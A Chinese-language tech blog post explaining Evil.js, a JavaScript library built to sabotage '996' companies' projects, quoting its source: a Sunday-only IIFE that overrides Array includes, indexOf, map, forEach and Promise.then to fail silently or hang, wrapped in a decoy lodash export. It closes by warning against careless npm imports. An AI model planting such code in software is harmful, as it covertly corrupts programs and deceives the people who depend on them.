有人做了一個專毀996公司項目的JS庫
背景
今天在我們前端巔峰的吃瓜群里面看到一個圖

大致是說這個Evil.js是為了毀滅你的996公司而誕生的
他會讓你的項目在周日的時候出現以下神奇的效果:
當數組長度可以被7整除時,Array.includes 永遠返回false。 Array.map 有5%概率會丟失最后一個元素。 Array.filter 的結果有5%的概率丟失最后一個元素。 Array.forEach 會卡死一段時間。 setTimeout 總是會比預期時間慢1秒才觸發(fā)。 Promise.then 有10%概率不會觸發(fā)。 JSON.stringify 有30%概率會把I(大寫字母I)變成l(小寫字母L)。 Date.getTime() 的結果總是會慢一個小時。 localStorage.getItem 有5%幾率返回空字符串。 Math.random() 的取值范圍改為0到1.1
這樣你的公司項目在周日的時候便會出現意想不到的神奇效果。
我們來看看他是如何實現的
源碼地址:https://github.com/wheatup/evil.js
大概只有150行
源碼大概的一個結構是:
const lodash = typeof require !== 'undefined' ? require('lodash') : {};
((global)=>
//do something
})((0, eval)('this'));
var _ = lodash;
if (typeof module !== 'undefined') {
// decoy export
module.exports = _;
}
主要業(yè)務邏輯都是在IIFE中。
首先IIFE中會判斷當前是否周日
// 只有周日才注入,當周日產生bug時,工作日程序員進行debug時將不會進行復現
// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
通過重寫數組的原型鏈上方法,includes方法當數組長度可以被7整除時,永遠返回false
/**
* If the array size is devidable by 7, this function aways fail
* @zh 當數組長度可以被7整除時,本方法永遠返回false
*/
const _includes = Array.prototype.includes;
const _indexOf = Array.prototype.indexOf;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
Array.prototype.indexOf = function (...args) {
if (this.length % 7 !== 0) {
return _indexOf.call(this, ...args);
} else {
return -1;
}
};
5%的幾率讓map方法丟失一個元素
/**
* Array.map has 5% chance drop the last element
* @zh Array.map方法的結果有5%幾率丟失最后一個元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
forEach方法會卡死一段時間(通過for循環(huán)阻塞)
/**
* Array.forEach will will cause a significant lag
* @zh Array.forEach會卡死一段時間
*/
const _forEach = Array.prototype.forEach;
Array.prototype.forEach = function(...args) {
for(let i = 0; i <= 1e7; i++);
return _forEach.call(this, ...args);
}
最騷的是這個,Promise.then方法10%概率不會觸發(fā)
/**
* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%幾率不會觸發(fā)
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (_rand() < 0.1) {
return new Promise(() => {});
} else {
return _then.call(this, ...args);
}
}
這簡直會讓你的項目無法開發(fā)和維護,無法定位問題。.then方法是整個ES6的異步核心API
結論
我們不要隨便引入一個npm庫,他如果修改原型上的方法可以做到攻擊甚至有安全隱患。
另外,996 007是對打工人的壓榨,每個人都應該有自己的生活

某程序員吐槽:提離職后領導開始演戲,假裝不知道我工資低,對我進行挽留,怎么辦?

答應我, 不要再用 if (obj != null) 判空了

專業(yè)的 Redis 可視化管理工具,支持跨平臺,UI美呆了!
關注公眾號【Java技術江湖】后回復“PDF”即可領取200+頁的《Java工程師面試指南》
強烈推薦,幾乎涵蓋所有Java工程師必知必會的知識點,不管是復習還是面試,都很實用。

評論
圖片
表情
